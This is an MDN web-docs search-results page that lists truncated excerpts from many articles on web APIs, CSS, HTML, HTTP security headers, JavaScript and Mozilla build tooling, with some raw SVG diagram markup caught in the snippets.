"webgl" (or "experimental-webgl") which will create a webglrenderingcontext object representing a three-dimensional rendering context.
... "webgl2" which will create a webgl2renderingcontext object representing a three-dimensional rendering context.
... "bitmaprenderer" which will create an imagebitmaprenderingcontext which only provides functionality to replace the content of the canvas with a given imagebitmap.
...And 11 more matches
HTMLScriptElement - Web APIs
html <script> elements expose the htmlscriptelement interface, which provides special properties and methods for manipulating the behavior and execution of <script> elements (beyond the inherited htmlelement interface).
...dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...And 11 more matches
Working with the History API - Web APIs
adding and modifying history entries using pushstate() changes the referrer that gets used in the http header for xmlhttprequest objects created after you change the state.
... example of pushstate() method suppose http://mozilla.org/foo.html executes the following javascript: let stateobj = { foo: "bar", } history.pushstate(stateobj, "page 2", "bar.html") this will cause the url bar to display http://mozilla.org/bar.html, but won't cause the browser to load bar.html or even check that bar.html exists.
... if the user clicks back once again, the url will change to http://mozilla.org/foo.html, and the document will get a popstate event, this time with a null state object.
...And 11 more matches
KeyboardEvent.key - Web APIs
WebAPIKeyboardEventkey
the keyboardevent interface's key read-only property returns the value of the key pressed by the user, taking into consideration the state of modifier keys such as shift as well as the keyboard locale and layout.
... if the pressed key has a printed representation, the returned value is a non-empty unicode character string containing the printable representation of the key.
... if the pressed key is a control or special character, the returned value is one of the pre-defined key values.
...And 11 more matches
MediaQueryList - Web APIs
a mediaquerylist object stores information on a media query applied to a document, with support for both immediate and event-driven matching against the state of the document.
... you can create a mediaquerylist by calling matchmedia() on the window object.
... the resulting object handles sending notifications to listeners when the media query state changes (i.e.
...And 11 more matches
MediaTrackSettings - Web APIs
the mediatracksettings dictionary is used to return the current values configured for each of a mediastreamtrack's settings.
... these values will adhere as closely as possible to any constraints previously described using a mediatrackconstraints object and set using applyconstraints(), and will adhere to the default constraints for any properties whose constraints haven't been changed, or whose customized constraints couldn't be matched.
...for example, because rtp doesn't provide some of these values during negotiation of a webrtc connection, a track associated with a rtcpeerconnection will not include certain values, such as facingmode or groupid.
...And 11 more matches
Media Source API - Web APIs
streaming media has up until recently been the domain of flash, with technologies like flash media server serving video streams using the rtmp protocol.
... the mse standard with media source extensions (mse), this is changing.
... mse allows us to replace the usual single track src value fed to media elements with a reference to a mediasource object, which is a container for information like the ready state of the media for being played, and references to multiple sourcebuffer objects that represent the different chunks of media that make up the entire stream.
...And 11 more matches
MutationObserver.observe() - Web APIs
the mutationobserver method observe() configures the mutationobserver callback to begin receiving notifications of changes to the dom that match the given options.
... depending on the configuration, the observer may watch a single node in the dom tree, or that node and some or all of its descendant nodes.
... syntax mutationobserver.observe(target, options) parameters target a dom node (which may be an element) within the dom tree to watch for changes, or to be the root of a subtree of nodes to be watched.
...And 11 more matches
Node.insertBefore() - Web APIs
WebAPINodeinsertBefore
the node.insertbefore() method inserts a node before a reference node as a child of a specified parent node.
... if the given child is a documentfragment, the entire contents of the documentfragment are moved into the child list of the specified parent node.
... referencenode the node before which newnode is inserted.
...And 11 more matches
PushRegistrationManager - Web APIs
returns an interface to register or unregister a push registration, get an active registration, or check the permission status of the registration.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpushregistrationmanager experimentaldeprecatedchrome no support noedge no support nofirefox ?
...And 11 more matches
RTCIceTransport - Web APIs
the rtcicetransport interface provides access to information about the ice transport layer over which the data is being sent and received.
... gatheringstate read only a domstring indicating which gathering state the ice agent is currently in.
... getlocalcandidates() returns an array of rtcicecandidate objects, each describing one of the ice candidates that have been gathered so far for the local device.
...And 11 more matches
RTCRtpSender.replaceTrack() - Web APIs
the new track must be of the same media kind (audio, video, etc) and switching the track should not require negotiation.
... among the use cases for replacetrack() is the common need to switch between the rear- and front-facing cameras on a phone.
... with replacetrack(), you can simply have a track object for each camera and switch between the two as needed.
...And 11 more matches
RTCStatsReport - Web APIs
the rtcrtpreceiver and rtcrtpsender versions of getstats() specifically only return statistics available to the incoming or outgoing stream on which you call them.
... the statistics objects for each category of statistic information, there is a dictionary whose properties provide the relevant information.
... properties common to all statistic categories all webrtc statistics objects are fundamentally based on the rtcstats dictionary, which provides the most fundamental information: the timestamp, the statistic type string, and an id uniquely identifying the source of the data: id a domstring which uniquely identifies the object which was inspected to produce this object based on rtcstats.
...And 11 more matches
SVGFEDisplacementMapElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfedisplacementmapelement" target="_top"><rect x="211" y="65" width="270" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="346" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline...
...And 11 more matches
SVGTextContentElement - Web APIs
the svgtextcontentelement interface is implemented by elements that support rendering child text content.
... it is inherited by various text-related interfaces, such as svgtextelement, svgtspanelement, svgtrefelement, svgaltglyphelement and svgtextpathelement.
...dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...And 11 more matches
Streams API - Web APIs
concepts and usage streaming involves breaking a resource that you want to receive over a network down into small chunks, then processing it bit by bit.
... with streams being available to javascript, this all changes — you can now start processing raw data with javascript bit by bit as soon as it is available on the client-side, without needing to generate a buffer, string, or blob.
... there are more advantages too — you can detect when streams start or end, chain streams together, handle errors and cancel streams as required, and react to the speed of the stream is being read at.
...And 11 more matches
TreeWalker - Web APIs
non-matching nodes are skipped, but their children may be included, if relevant.
...since attributes are never children of other nodes, they do not appear when traversing over the document tree.
... treewalker.currentnode is the node on which the treewalker is currently pointing at.
...And 11 more matches
URL API - Web APIs
WebAPIURL API
the url api is a component of the url standard, which defines what constitutes a valid uniform resource locator and the api that accesses and manipulates urls.
... the url standard also defines concepts such as domains, hosts, and ip addresses, and also attempts to describe in a standard way the legacy application/x-www-form-urlencoded mime type used to submit web forms' contents as a set of key/value pairs.
... let addr = new url("/docs/web/api/url_api"); let host = addr.host; let path = addr.pathname; the snippet above creates a url object for the article you're reading right now, then fetches the host and pathname properties.
...And 11 more matches
ValidityState - Web APIs
properties for each of these boolean properties, a value of true indicates that the specified reason validation may have failed is true, with the exception of the valid property, which is true if the element's value obeys all constraints.
... patternmismatch read only a boolean that is true if the value does not match the specified pattern, and false if it does match.
... if true, the element matches the :invalid css pseudo-class.
...And 11 more matches
Functions and classes available to Web Workers - Web APIs
in addition to the standard javascript set of functions (such as string, array, object, json, etc), there are a variety of functions available from the dom to workers.
... comparison of the properties and methods of the different type of workers function dedicated workers shared workers service workers chrome workers outside workers atob() yes, on workerglobalscope yes, on workerglobalscope yes, on workerglobalscope yes, on workerglobalscope yes, on window btoa() yes, on workerglobalscope yes, on workerglobalscope yes, on workerglobalscope yes, on workerglobalscope yes, on window clearinterval() yes, on workerglobalscope yes, on w...
... unknown no postmessage() yes, on dedicatedworkerglobalscope no no unknown no apis available in workers function functionality support in gecko (firefox) support in ie support in blink (chrome and opera) support in webkit (safari) broadcast channel api allows simple communication between browsing contexts (that is windows, tabs, frames, or iframes) with the same origin (usually pages from the same site).
...And 11 more matches
Using the alert role - Accessibility
description this technique demonstrates how to use the alert role and describes the effect it has on browsers and assistive technology.
...when this role is added to an element, the browser will send out an accessible alert event to assistive technology products which can then notify the user about it.
... the alert role is most useful for information that requires the user's immediate attention, for example: an invalid value was entered into a form field the user's login session is about to expire the connection to the server was lost, local changes will not be saved because of its intrusive nature, the alert role must be used sparingly and only in situations where the user's immediate attention is required.
...And 11 more matches
CSS Containment - CSS: Cascading Style Sheets
basic example many webpages contain a number of sections which are independent of each other.
... <h1>my blog</h1> <article> <h2>heading of a nice article</h2> <p>content here.</p> </article> <article> <h2>another heading of another article</h2> <p>more content here.</p> </article> each article has the contain property with a value of content applied in the css.
... article { contain: content; } each article is independent of the other articles on the page, and so they have been given contain: content in order to indicate to the browser that this is the case.
...And 11 more matches
Flow Layout and Writing Modes - CSS: Cascading Style Sheets
the css 2.1 specification, which details how normal flow behaves, assumes a horizontal writing mode.
... the writing modes specification the css writing modes level 3 specification defines the impact a change the document writing mode has on flow layout.
...it is defined primarily in terms of its inline base direction and block flow direction.” the specification defines the inline base direction as the direction in which content is ordered on a line.
...And 11 more matches
Grid template areas - CSS: Cascading Style Sheets
however, there is an alternate method to use for positioning items on the grid which you can use alone or in combination with line-based placement.
...you can choose what you would like to name your area.
... a header a footer a sidebar the main content with the grid-area property i can assign each of these areas a name.
...And 11 more matches
Line-based placement with CSS Grid - CSS: Cascading Style Sheets
in a left to right language such as english line 1 is on the left-hand side of the grid.
...this gives us 4 lines in each dimension.
... inside our grid container i have four child elements.
...And 11 more matches
Overview of CSS Shapes - CSS: Cascading Style Sheets
you could for example float an item left, which would cause the text to wrap round the right and bottom of the item in a rectangular fashion.
...it takes a variety of values, all of which define different shapes, specified in the <basic-shape> datatype.
...the specification defines four <basic-shape> values, which are: inset() circle() ellipse() polygon() using the value inset() wraps text around a rectangular shape however you are able to add offset values, thus pulling the line boxes of any wrapping content closer to the object than would otherwise happen.
...And 11 more matches
Introducing the CSS Cascade - CSS: Cascading Style Sheets
WebCSSCascade
this article explains what the cascade is, the order in which css declarations cascade, and how this affects you, the web developer.
... which css entities participate in the cascade only css declarations, that is property/value pairs, participate in the cascade.
... this means that at-rules containing entities other than declarations, such as a @font-face rule containing descriptors, don't participate in the cascade.
...And 11 more matches
animation-direction - CSS: Cascading Style Sheets
tion-direction: normal; animation-direction: reverse; animation-direction: alternate; animation-direction: alternate-reverse; /* multiple animations */ animation-direction: normal, reverse; animation-direction: alternate, reverse, normal; /* global values */ animation-direction: inherit; animation-direction: initial; animation-direction: unset; values normal the animation plays forwards each cycle.
... in other words, each time the animation cycles, the animation will reset to the beginning state and start over again.
... reverse the animation plays backwards each cycle.
...And 11 more matches
<custom-ident> - CSS: Cascading Style Sheets
syntax the syntax of <custom-ident> is similar to css identifiers (such as property names), except that it is case-sensitive.
... it consists of one or more characters, where characters can be any of the following: any alphabetical character (a to z, or a to z), any decimal digit (0 to 9), a hyphen (-), an underscore (_), an escaped character (preceded by a backslash, \), a unicode character (in the format of a backslash, \, followed by one to six hexadecimal digits, representing its unicode code point) note that id1, id1, id1 and id1 are all different identifiers as they are case-sensitive.
... on the other hand, as there are several ways to escape a character, toto\?
...And 11 more matches
list-style-type - CSS: Cascading Style Sheets
the list-style-type css property sets the marker (such as a disc, character, or custom counter style) of a list item element.
... syntax /* partial list of types */ list-style-type: disc; list-style-type: circle; list-style-type: square; list-style-type: decimal; list-style-type: georgian; list-style-type: trad-chinese-informal; list-style-type: kannada; /* <string> value */ list-style-type: '-'; /* identifier matching an @counter-style rule */ list-style-type: custom-counter-style; /* keyword value */ list-style-type: none; /* global values */ list-style-type: inherit; list-style-type: initial; list-style-type: unset; the list-style-type property may be defined as any one of: a <custom-ident> val...
... the cjk-ideographic is identical to trad-chinese-informal; it exists for legacy reasons.
...And 11 more matches
Setting up adaptive streaming media sources - Developer guides
this article explains how, looking at two of the most common formats: mpeg-dash and hls (http live streaming.) choosing formats in terms of adaptive streaming formats, there are many to choose from; we decided to choose the following two as between them we can support most modern browsers.
... mpeg-dash hls (http live streaming) in order to adaptively stream media we need to split the media up into chunks.
... mpeg-dash encoding mpeg-dash is an adaptive bitrate streaming technique that enables streaming of media content over the internet delivered from conventional http web servers.
...And 11 more matches
DOM onevent handlers - Developer guides
two common approaches are addeventlistener() and the specific onevent handlers.
...elements can be interactive (links, buttons, images, forms, and so forth) or non-interactive (such as the base <body> element).
... you can specify an on<…> event handler for a particular event (such as click) for a given object in different ways: adding an html attribute named on<eventtype>: <button onclick="handleclick()">, or by setting the corresponding property from javascript: document.queryselector("button").onclick = function(event) { … }.
...And 11 more matches
Mouse gesture events - Developer guides
there may also be large incompatibilities between implementations and the behavior may change in the future.
... note: these gesture events are available to add-ons and other browser chrome code, but are never sent to regular web page content.
...mozmagnifygesturestart the mozmagnifygesturestart event is sent when the user begins performing a "pinch" gesture, by using two fingers as the corners of a rectangle and moving them either closer together or farther apart.
...And 11 more matches
<tfoot>: The Table Foot element - HTML: Hypertext Markup Language
WebHTMLElementtfoot
deprecated attributes align deprecated since html4obsolete since html5 this enumerated attribute specifies how horizontal alignment of each cell content will be handled.
... possible values are: left, aligning the content to the left of the cell center, centering the content in the cell right, aligning the content to the right of the cell justify, inserting spaces into the textual content so that the content is justified in the cell char, aligning the textual content on a special character with a minimal offset, defined by the char and charoff attributes unimplemented (see bug 2212).
... to achieve the same effect as the left, center, right or justify values, use the css text-align property on it.
...And 11 more matches
<thead>: The Table Head element - HTML: Hypertext Markup Language
WebHTMLElementthead
deprecated attributes align in html 4, in html5 this enumerated attribute specifies how horizontal alignment of each cell content will be handled.
... possible values are: left, aligning the content to the left of the cell center, centering the content in the cell right, aligning the content to the right of the cell justify, inserting spaces into the textual content so that the content is justified in the cell char, aligning the textual content on a special character with a minimal offset, defined by the char and charoff attributes unimplemented (see bug 2212).
... to achieve the same effect as the left, center, right or justify values, use the css text-align property on it.
...And 11 more matches
Data URLs - HTTP
data urls, urls prefixed with the data: scheme, allow content creators to embed small files inline in documents.
... syntax data urls are composed of four parts: a prefix (data:), a mime type indicating the type of data, an optional base64 token if non-textual, and the data itself: data:[<mediatype>][;base64],<data> the mediatype is a mime type string, such as 'image/jpeg' for a jpeg image file.
... if omitted, defaults to text/plain;charset=us-ascii if the data is textual, you can simply embed the text (using the appropriate entities or escapes based on the enclosing document's type).
...And 11 more matches
Cross-Origin Resource Policy (CORP) - HTTP
cross-origin resource policy is a policy set by the cross-origin-resource-policy http header that lets web sites and applications opt in to protection against certain requests from other origins (such as those issued with elements like <script> and <img>), to mitigate speculative side-channel attacks, like spectre, as well as cross-site script inclusion attacks.
...cross-origin resource policy complements cross-origin read blocking (corb), which is a mechanism to prevent some cross-origin reads by default.
... the policy is only effective for no-cors requests, which are issued by default for cors-safelisted methods/headers.
...And 11 more matches
CSP: style-src-attr - HTTP
csp version 3 directive type fetch directive default-src fallback yes.
...: content-security-policy: style-src-attr <source>; content-security-policy: style-src-attr <source> <source>; style-src-attr can be used in conjunction with style-src: content-security-policy: style-src <source>; content-security-policy: style-src-attr <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source.
...And 11 more matches
CSP: style-src-elem - HTTP
csp version 3 directive type fetch directive default-src fallback yes.
...ontent-security-policy: style-src-elem <source>; content-security-policy: style-src-elem <source> <source>; style-src-elem can be used in conjunction with style-src: content-security-policy: style-src <source>; content-security-policy: style-src-elem <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source.
...And 11 more matches
HTTP Public Key Pinning (HPKP) - HTTP
note: public key pinning mechanism was deprecated in favor of certificate transparency and expect-ct header.
... to ensure the authenticity of a server's public key used in tls sessions, this public key is wrapped into a x.509 certificate which is usually signed by a certificate authority (ca).
... web clients such as browsers trust a lot of these cas, which can all create certificates for arbitrary domain names.
...And 11 more matches
Equality comparisons and sameness - JavaScript
there are four equality algorithms in es2015: abstract equality comparison (==) strict equality comparison (===): used by array.prototype.indexof, array.prototype.lastindexof, and case-matching samevaluezero: used by %typedarray% and arraybuffer constructors, as well as map and set operations, and also string.prototype.includes and array.prototype.includes since es2016 samevalue: used in all other places javascript provides three different value-comparison operations: === - strict equality comparison ("strict equality", "identity", "triple equals") == - abstract equality comparison ("loose equality", "double equals") object.is provides samevalue (new in es2015).
... which operation you choose depends on what sort of comparison you are looking to perform.
...for any non-primitive objects x and y which have the same structure but are distinct objects themselves, all of the above forms will evaluate to false.
...And 11 more matches
Memory Management - JavaScript
low-level languages like c, have manual memory management primitives such as malloc() and free().
... memory life cycle regardless of the programming language, the memory life cycle is pretty much always the same: allocate the memory you need use the allocated memory (read, write) release the allocated memory when it is not needed anymore the second part is explicit in all languages.
... var n = 123; // allocates memory for a number var s = 'azerty'; // allocates memory for a string var o = { a: 1, b: null }; // allocates memory for an object and contained values // (like object) allocates memory for the array and // contained values var a = [1, null, 'abra']; function f(a) { return a + 2; } // allocates a function (which is a callable object) // function expressions also allocate an object someelement.addeventlistener('click', function() { someelement.style.backgroundcolor = 'blue'; }, false); allocation via function calls some function calls result in object allocation.
...And 11 more matches
Intl - JavaScript
the intl object is the namespace for the ecmascript internationalization api, which provides language sensitive string comparison, number formatting, and date and time formatting.
... constructor properties intl.collator() constructor for collators, which are objects that enable language-sensitive string comparison.
...tion the internationalization constructors as well as several language sensitive methods of other constructors (listed under see also) use a common pattern for identifying locales and determining the one they will actually use: they all accept locales and options arguments, and negotiate the requested locale(s) against the locales they support using an algorithm specified in the options.localematcher property.
...And 11 more matches
Object.prototype.constructor - JavaScript
the value is only read-only for primitive values such as 1, true, and "test".
...objects created without the explicit use of a constructor function (such as object- and array-literals) will have a constructor property that points to the fundamental object constructor type for that object.
... function tree(name) { this.name = name } let thetree = new tree('redwood') console.log('thetree.constructor is ' + thetree.constructor) this example displays the following output: thetree.constructor is function tree(name) { this.name = name } changing the constructor of an object the following example shows how to modify the constructor value of generic objects.
...And 11 more matches
TypedArray - JavaScript
there are at present no such engines, so %typedarray% is only useful to polyfill functions or properties onto all typedarray constructors.
...instead, you create an instance of an array of a particular type, such as a int8array or a bigint64array.
... typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a new typed array.
...And 11 more matches
Gradients in SVG - SVG: Scalable Vector Graphics
linear gradient linear gradients change along a straight line.
...for instance, this one tells the gradient to start at the color red, change to transparent-black in the middle, and end at the color blue.
...in this case, the url is just a reference to our gradient, which i've given the creative id, "gradient".
...And 11 more matches
Introduction - SVG: Scalable Vector Graphics
« previousnext » svg is an xml language, similar to xhtml, which can be used to draw vector graphics, such as the ones shown to the right.
...the image and its components can also be transformed, composited together, or filtered to change their appearance completely.
...svg does offer benefits, some of which include having a dom interface available for it, and not requiring third-party extensions.
...And 11 more matches
Building up a basic demo with Babylon.js - Game development
environment setup to start developing with babylon.js, you don't need much.
... you should start off by: making sure you are using a modern browser with good webgl support, such as the latest firefox or chrome.
... html structure here's the html structure we will use: <!doctype html> <html> <head> <meta charset="utf-8"> <title>mdn games: babylon.js demo</title> <style> html,body,canvas { margin: 0; padding: 0; width: 100%; height: 100%; font-size: 0; } </style> </head> <body> <script src="babylon.js"></script> <canvas id="render-canvas"></canvas> <script> var canvas = document.getelementbyid("render-canvas"); /* all our javascript code goes here */ </script> </body> </html> it contains some basic information like the document <title>, and some css to set the ...
...And 10 more matches
Collision detection - Game development
it's our decision how to implement this, of course, but it can be tough to calculate whether the ball is touching the rectangle or not because there are no helper functions in canvas for this.
...we will check if the center of the ball is colliding with any of the given bricks.
... this won't give a perfect result every time, and there are much more sophisticated ways to do collision detection, but this will work fine for teaching you the basic concepts.
...And 10 more matches
Combinators - Learn web development
previous overview: building blocks next the final selectors we will look at are called combinators, because they combine other selectors in a way that gives them a useful relationship to each other and the location of content in the document.
... descendant combinator the descendant combinator — typically represented by a single space ( ) character — combines two selectors such that elements matched by the second selector are selected if they have an ancestor (parent, parent's parent, parent's parent's parent, etc) element matching the first selector.
... body article p in the example below, we are matching only the <p> element which is inside an element with a class of .box.
...And 10 more matches
Multiple-column layout - Learn web development
prerequisites: html basics (study introduction to html), and an idea of how css works (study introduction to css.) objective: to learn how to create multiple-column layout on webpages, such as you might find in a newspaper.
... our starting point contains some very simple html; a wrapper with a class of container inside which is a heading and some paragraphs.
...we switch on multicol by using one of two properties column-count or column-width.
...And 10 more matches
CSS layout - Learn web development
we have covered the necessary prerequisites so we can now dive deep into css layout, looking at different display settings, modern layout tools like flexbox, css grid, and positioning, and some of the legacy techniques you might still want to know about.
... note: if you are working on a computer/tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin or glitch.
... guides these articles will provide instruction on the fundamental layout tools and techniques available in css.
...And 10 more matches
What is a web server? - Learn web development
prerequisites: you should already know how the internet works, and understand the difference between a web page, a web site, a web server, and a search engine.
...(for example, html documents, images, css stylesheets, and javascript files) a web server connects to the internet and supports physical data interchange with other devices connected to the web.
...when the request reaches the correct (hardware) web server, the (software) http server accepts the request, finds the requested document, and sends it back to the browser, also through http.
...And 10 more matches
Front-end web developer - Learn web development
here we provide you with a structured course that will teach you all you need to know to become a front-end web developer.
... simply work through each section, learning new skills (or improving existing ones) as you go along.
... each section includes exercises and assessments to test your understanding before you move forward.
...And 10 more matches
Silly story generator - Learn web development
objective: to test comprehension of javascript fundamentals, such as variables, numbers, operators, strings, and arrays.
... alternatively, you could use a site like jsbin or glitch to do your assessment.
... project brief you have been provided with some raw html/css and a few text strings and javascript functions; you need to write the necessary javascript to turn this into a working program, which does the following: generates a silly story when the "generate random story" button is pressed.
...And 10 more matches
Using Vue computed properties - Learn web development
these work similarly to methods, but only re-run when one of their dependencies changes.
...this can be useful for users, while also serving to label the list for assistive technology.
...for a small app like this, that probably doesn't matter too much.
...And 10 more matches
Learn web development
if you are a complete beginner, web development can be challenging — we will hold your hand and provide enough detail for you to feel comfortable and learn the topics properly.
... you should feel at home whether you are a student learning web development (on your own or as part of a class), a teacher looking for class materials, a hobbyist, or someone who just wants to understand more about how web technologies work.
...we have started keeping learning area release notes to show what has changed — keep checking back frequently!
...And 10 more matches
Testopia
despite bugzilla 5.0 has already been released a few months ago, we don't plan to release a fix for testopia immediately, because it's currently under heavy work to make testopia a fully self-contained extension, which means that all tr_*.cgi scripts which are currently in the bugzilla/ root directory are being moved into extensions/testopia/lib/.
... this is not an trivial task, it takes time (it started in august 2014), and we decided that it was not a good idea to release half-baked code which still needs testing to make sure we didn't regress anything.
... the good news is that the current code in the git repository already works with bugzilla 5.0, and so if you upgraded to 5.0 already, and if you don't mind having a work-in-progress extension on your machine, you can decide to pull the code from the git repository.
...And 10 more matches
Creating a Language Pack
pre-build steps in the .mozconfig, you want to have mk_add_options moz_objdir=@topsrcdir@/obj-firefox-build ac_add_options --disable-compile-environment ac_add_options --with-l10n-base=../l10n-central # path relative to moz_objdir ac_add_options --enable-application=[browser or mail] the given path should have your localization directory as child (i.e., a subdirectory ab-cd where ab-cd is your locale code).
... you still need to specify which application you're localizing (e.g., for firefox, that's browser, thunderbird would be mail).
... configure step you need to prepare the build directory, which is done with ./mach configure you only need to run this if the version number of firefox changes.
...And 10 more matches
Obsolete Build Caveats and Tips
each piece of information should mention the page and the section it originally came from.
...from firefox 10, the compilator is visual studio 2010; if you want to use it, you must use a previous version of it !), or 2005 professional from build_instructions those who need to work with the code for firefox 3/mozilla 1.9 and earlier can check out the latest source using cvs.
... this note below seems redundant as this is true by default https://msdn.microsoft.com/en-us/library/dh8che7s%28v=vs.110%29.aspx note: starting with gecko 7.0, you should no longer include "-zc:wchar_t-" in the command line when building on windows.
...And 10 more matches
Implementing Download Resuming
not only is the ability to specify a start position important, but it's also important to have some assurance that the file did not change since the initial download attempt.
... the interface resuming is done using the nsiresumablechannel interface.
... the expected way to use it is this: for all downloads that happen, get the entityid from the channel, and store it for later use.
...And 10 more matches
Interfacing with the Add-on Repository
to make the service work for the time being, you can use code like this when your extension starts up: var prefsservice = components.classes["@mozilla.org/preferences-service;1"] .getservice(components.interfaces.nsiprefservice); var prefbranch = prefsservice.getbranch("extensions."); var recurl = ""; try { recurl = prefbranch.getcharpref("getaddons.recommended.url"); } catch(e) { recurl = ""; } if (recurl == "") { prefbranch.setcharpref("getaddons.recommended.url", "https://services.addons.mozilla.org/%locale%/%app%/api/%api_version%/list/recommended/all/%max_results%/%os%/%version%?src=firefox"); prefsse...
...rvice.savepreffile(null); } this fetches the value of the extensions.getaddons.recommended.url preference, and, if the preference doesn't exist or has no value, sets the value of the preference to the correct one for the amo site.
... starting a request to start a search of the repository, you can use either of the following methods: searchaddons() queries the add-on repository for add-ons matching given search criteria.
...And 10 more matches
XPCOMUtils.jsm
if not // provided, the default factory is used, which returns // |(new mycomponent()).queryinterface(iid)| in its createinstance().
... _xpcom_categories: [{ // each object in the array specifies the parameters to pass to // nsicategorymanager.addcategoryentry().
... create an array of component constructors you need to create an array that lists the constructors for each component.
...And 10 more matches
gettext
different gettext function name) for string which are supposed to support plurals.
...a definition of a string with plurals takes three arguments: the singular form of the english string, the plural form of the english string, and the number basing on which the function will return the correct (singular or plural) form of the string.
...first in the ngettext() call, where it will be used to determine which form of the string will be returned.
...And 10 more matches
Memory reporting
and please ask nnethercote to co-review any memory reporter patch.
... each reporter implements a collectreports function which takes a nsimemoryreportercallback argument; for each measurement the reporter must pass in several values, including: a path (which identifies the report); an amount (the most important thing); a unit (most commonly bytes, but sometimes a unitless count or percentage); a description of what is measured.
... counter-based reporters maintain a counter that is incremented on each relevant allocation and decremented on each relevant deallocation.
...And 10 more matches
NSS Sample Code Utilities_1
*/ /* * newline */ static void newline(prfiledesc* out) { pr_fprintf(out, "\n"); } /* * printasascii */ void printasascii(prfiledesc* out, const unsigned char *data, unsigned int len) { char *b64data = null; b64data = btoa_datatoascii(data, len); pr_fprintf(out, "%s", b64data); pr_fprintf(out, "\n"); if (b64data) { port_free(b64data); } } /* * printashex */ void printashex(prfiledesc* out, const unsigned char *data, unsigned int len) { unsigned i; int column; unsigned int limit = 15; unsigned int le...
